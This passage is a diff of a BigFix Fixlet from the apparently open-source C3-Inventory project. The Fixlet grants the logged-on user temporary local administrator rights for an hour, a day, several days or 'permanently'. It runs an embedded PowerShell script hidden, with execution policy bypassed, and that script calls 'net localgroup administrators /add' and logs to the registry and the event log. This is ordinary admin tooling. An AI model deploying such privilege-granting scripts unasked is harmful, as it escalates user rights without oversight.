-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25205">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for 1 day.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 1*day}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25206">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for&amp;nbsp;5 days.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 5*day}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25207">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights permanently.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component strings of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + 1000000*week}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows
+  ID       : 24153
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:24:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user, who is an Authorized Admin Requestor, to the administrators group temporarily.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((if (exists sids of groups of logged on user of active directory) then (sids of groups of logged on user of active directory) else (nothing)) as string); /*User Group Memberships. If Statement helps protect against bogus AD Cache results.*/   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25204">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for&amp;nbsp;8 hours.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 8*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
